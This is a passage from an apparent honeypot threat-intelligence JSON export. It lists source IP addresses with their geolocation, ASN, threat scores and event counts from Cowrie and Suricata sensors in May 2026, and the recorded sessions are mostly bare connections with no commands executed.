        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:49:44.029000+00:00",
        "last_seen_30d": "2026-05-22T21:51:04.367000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "45.135.195.213": {
      "attack_count": 3,
      "first_seen": "2026-05-24T13:32:56.330Z",
      "last_seen": "2026-05-24T13:34:00.747Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [
        "admin"
      ],
      "passwords_attempted": [
        "admin"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.login.failed",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": null,
      "asn": 58232,
      "as_org": "Parsun Network Solutions PTY LTD",
      "threat_score": 15.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 5,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:32:56.330000+00:00",
        "last_seen_30d": "2026-05-24T13:35:09.128000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3,
        "Suricata": 2
      }
    },
    "101.108.110.37": {
      "attack_count": 2,
      "first_seen": "2026-05-08T11:32:12.172Z",
      "last_seen": "2026-05-08T11:32:25.366Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Thailand",
      "country_code": "TH",
      "city": "Bangkok",
      "asn": 23969,
      "as_org": "TOT Public Company Limited",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T11:32:12.172000+00:00",
        "last_seen_30d": "2026-05-08T11:33:33.572000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.134.154.55": {
      "attack_count": 2,
      "first_seen": "2026-05-15T06:17:27.360Z",
      "last_seen": "2026-05-15T06:17:27.361Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": null,
      "asn": 138608,
      "as_org": "Cloud Host Pte Ltd",
      "threat_score": 8.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-15T06:17:27.360000+00:00",
        "last_seen_30d": "2026-05-15T06:18:34.520000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.156.164.95": {
      "attack_count": 2,
      "first_seen": "2026-05-10T03:28:10.851Z",
      "last_seen": "2026-05-10T03:28:22.504Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": "Bandung",
      "asn": 63859,
      "as_org": "PT. Eka Mas Republik",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T03:28:10.851000+00:00",
        "last_seen_30d": "2026-05-10T03:29:30.734000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.35.123.97": {
      "attack_count": 2,
      "first_seen": "2026-05-22T16:39:17.506Z",
      "last_seen": "2026-05-22T16:39:48.658Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 134286,
      "as_org": "Net for Choice",
      "threat_score": 24.2,
      "threat_level": "low",
      "score_components": {
        "frequency": 9.0,
        "persistence": 5.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 7,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T13:51:44.027000+00:00",
        "last_seen_30d": "2026-05-28T05:02:14.772000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2
      }
    },
    "112.102.87.4": {
      "attack_count": 2,
      "first_seen": "2026-05-23T03:58:14.253Z",
      "last_seen": "2026-05-23T03:58:46.683Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T03:58:14.253000+00:00",
        "last_seen_30d": "2026-05-23T03:59:48.552000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "118.31.126.101": {
      "attack_count": 2,
      "first_seen": "2026-05-27T01:23:19.127Z",
      "last_seen": "2026-05-27T01:23:19.128Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 37963,
      "as_org": "Hangzhou Alibaba Advertising Co.,Ltd.",
      "threat_score": 15.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T01:23:19.127000+00:00",
        "last_seen_30d": "2026-05-27T01:24:22.946000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "152.58.122.45": {
      "attack_count": 2,
      "first_seen": "2026-05-07T01:08:14.656Z",
      "last_seen": "2026-05-07T01:08:27.842Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Delhi",
      "asn": 55836,
      "as_org": "Reliance Jio Infocomm Limited",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T01:08:14.656000+00:00",
        "last_seen_30d": "2026-05-07T01:09:35.204000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "171.83.236.127": {
      "attack_count": 2,
      "first_seen": "2026-05-13T05:30:40.068Z",
      "last_seen": "2026-05-13T05:30:53.413Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T05:30:40.068000+00:00",
        "last_seen_30d": "2026-05-13T05:31:54.575000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.245.66.67": {
      "attack_count": 2,
      "first_seen": "2026-05-06T01:22:54.057Z",
      "last_seen": "2026-05-06T01:23:07.337Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Santa Mar\u00eda Chimalhuac\u00e1n",
      "asn": 13999,
      "as_org": "Mega Cable, S.A. de C.V.",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T01:22:54.057000+00:00",
        "last_seen_30d": "2026-05-06T01:24:16.575000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "180.149.232.160": {
      "attack_count": 2,
      "first_seen": "2026-05-04T09:27:52.680Z",
      "last_seen": "2026-05-04T09:28:05.734Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": "Dhaka",
      "asn": 131464,
      "as_org": "Digi Jadoo Broadband Ltd",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T09:27:52.680000+00:00",
        "last_seen_30d": "2026-05-04T09:29:12.354000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "182.244.189.48": {
      "attack_count": 2,
      "first_seen": "2026-05-31T16:58:31.539Z",
      "last_seen": "2026-05-31T16:58:44.130Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 17.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-31T16:58:31.539000+00:00",
        "last_seen_30d": "2026-05-31T16:59:46.041000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "189.217.207.234": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:39:11.412Z",
      "last_seen": "2026-05-16T18:39:24.587Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Venustiano Carranza",
      "asn": 28548,
      "as_org": "Cablevision, S.A. de C.V.",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:39:11.412000+00:00",
        "last_seen_30d": "2026-05-16T18:40:27.711000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "194.187.178.246": {
      "attack_count": 2,
      "first_seen": "2026-05-31T01:51:11.512Z",
      "last_seen": "2026-05-31T01:51:16.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hong Kong",
      "country_code": "HK",
      "city": null,
      "asn": 215778,
      "as_org": "Alpha Strike Labs GmbH",
      "threat_score": 52.8,
      "threat_level": "medium",
      "score_components": {
        "frequency": 8.5,
        "persistence": 23.3,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 28,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-04T13:27:26.822000+00:00",
        "last_seen_30d": "2026-05-31T01:52:20.869000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2,
        "Dionaea": 1
      }
    },
    "196.189.19.38": {
      "attack_count": 2,
      "first_seen": "2026-05-09T18:53:37.450Z",
      "last_seen": "2026-05-09T18:53:50.303Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ethiopia",
      "country_code": "ET",
      "city": "Addis Ababa",
      "asn": 24757,
      "as_org": "Ethiopian Telecommunication Corporation",
      "threat_score": 4.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T18:53:37.450000+00:00",
        "last_seen_30d": "2026-05-09T18:54:56.857000+00:00",
        "days_since_last_seen": 22
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.116": {
      "attack_count": 2,
      "first_seen": "2026-05-28T17:07:38.604Z",
      "last_seen": "2026-05-28T17:08:09.568Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 81.7,
      "threat_level": "critical",
      "score_components": {
        "frequency": 19.2,
        "persistence": 23.3,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 83,
        "days_active_30d": 28,
        "ports_targeted_30d": 29,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-02T06:37:29+00:00",
        "last_seen_30d": "2026-05-29T20:23:16.325000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 60,
        "Honeytrap": 19,
        "Cowrie": 2,
        "Dicompot": 1,
        "Honeyaml": 1
      }
    },
    "20.74.212.144": {
      "attack_count": 2,
      "first_seen": "2026-05-12T10:14:50.486Z",
      "last_seen": "2026-05-12T10:15:21.127Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United Arab Emirates",
      "country_code": "AE",
      "city": "Dubai",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 6.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T10:14:50.486000+00:00",
        "last_seen_30d": "2026-05-12T10:16:25.918000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "205.210.31.16": {
      "attack_count": 2,
      "first_seen": "2026-05-28T02:58:46.726Z",
      "last_seen": "2026-05-28T02:59:17.463Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 50.0,
      "threat_level": "medium",
      "score_components": {
        "frequency": 13.2,
        "persistence": 13.3,
        "diversity": 14,
        "spread": 15,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 16,
        "ports_targeted_30d": 7,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-13T03:37:58+00:00",
        "last_seen_30d": "2026-05-28T03:00:19.064000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Suricata": 14,
        "Honeytrap": 5,
        "Cowrie": 2
      }
    },
    "213.159.248.175": {
      "attack_count": 2,
      "first_seen": "2026-05-14T15:31:56.627Z",
      "last_seen": "2026-05-14T15:32:08.973Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Ukraine",
      "country_code": "UA",
      "city": null,
      "asn": 6703,
      "as_org": "Private Joint-stock Company farlep-invest",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T15:31:56.627000+00:00",
        "last_seen_30d": "2026-05-14T15:33:15.864000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "221.235.197.207": {
      "attack_count": 2,
      "first_seen": "2026-05-23T04:19:30.040Z",
      "last_seen": "2026-05-23T04:19:42.230Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T04:19:30.040000+00:00",
        "last_seen_30d": "2026-05-23T04:20:44.640000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "31.141.237.154": {
      "attack_count": 2,
      "first_seen": "2026-05-10T16:21:43.107Z",
      "last_seen": "2026-05-10T16:22:15.298Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 16135,
      "as_org": "Turkcell Iletisim Hizmetleri A.s.",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T16:21:43.107000+00:00",
        "last_seen_30d": "2026-05-10T16:23:21.447000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "41.139.238.171": {
      "attack_count": 2,
      "first_seen": "2026-05-16T17:10:36.013Z",
      "last_seen": "2026-05-16T17:10:49.274Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Kenya",
      "country_code": "KE",
      "city": "Nairobi",
      "asn": 37061,
      "as_org": "Safaricom",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T17:10:36.013000+00:00",
        "last_seen_30d": "2026-05-16T17:11:54.740000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.130.162.120": {
      "attack_count": 2,
      "first_seen": "2026-05-06T11:40:17.144Z",
      "last_seen": "2026-05-06T11:40:29.768Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Costa Rica",
      "country_code": "CR",
      "city": "Cartago",
      "asn": 274032,
      "as_org": "SERVICIOS FEMAROCA TV SOCIEDAD ANONIMA",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T11:40:17.144000+00:00",
        "last_seen_30d": "2026-05-06T11:41:35.194000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "49.206.40.210": {
      "attack_count": 2,
      "first_seen": "2026-05-07T06:01:16.956Z",
      "last_seen": "2026-05-07T06:01:29.561Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Hyderabad",
      "asn": 18209,
      "as_org": "Atria Convergence Technologies Ltd.",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T06:01:16.956000+00:00",
        "last_seen_30d": "2026-05-07T06:02:30.442000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "5.154.90.163": {
      "attack_count": 2,
      "first_seen": "2026-05-08T19:19:09.509Z",
      "last_seen": "2026-05-08T19:19:21.849Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Spain",
      "country_code": "ES",
      "city": "Petrel",
      "asn": 29119,
      "as_org": "Aire Networks Del Mediterraneo Sl Unipersonal",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.23
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-08T19:19:09.509000+00:00",
        "last_seen_30d": "2026-05-08T19:20:30.346000+00:00",
        "days_since_last_seen": 23
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "58.122.253.47": {
      "attack_count": 2,
      "first_seen": "2026-05-16T22:21:49.380Z",
      "last_seen": "2026-05-16T22:22:02.902Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "South Korea",
      "country_code": "KR",
      "city": "Yongsan-gu",
      "asn": 9318,
      "as_org": "SK Broadband Co Ltd",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T22:21:49.380000+00:00",
        "last_seen_30d": "2026-05-16T22:23:05.693000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "85.105.198.3": {
      "attack_count": 2,
      "first_seen": "2026-05-12T19:32:16.808Z",
      "last_seen": "2026-05-12T19:32:30.855Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Istanbul",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 6.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T19:32:16.808000+00:00",
        "last_seen_30d": "2026-05-12T19:33:32.147000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "87.241.164.221": {
      "attack_count": 2,
      "first_seen": "2026-05-29T23:31:17.475Z",
      "last_seen": "2026-05-29T23:31:30.500Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Armenia",
      "country_code": "AM",
      "city": "Yerevan",
      "asn": 12297,
      "as_org": "Telecom Armenia OJSC",
      "threat_score": 16.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-29T23:31:17.475000+00:00",
        "last_seen_30d": "2026-05-29T23:32:31.861000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "91.140.51.15": {
      "attack_count": 2,
      "first_seen": "2026-05-22T15:49:19.012Z",
      "last_seen": "2026-05-22T15:51:19.022Z",
      "sessions": 1,
      "ports": [],
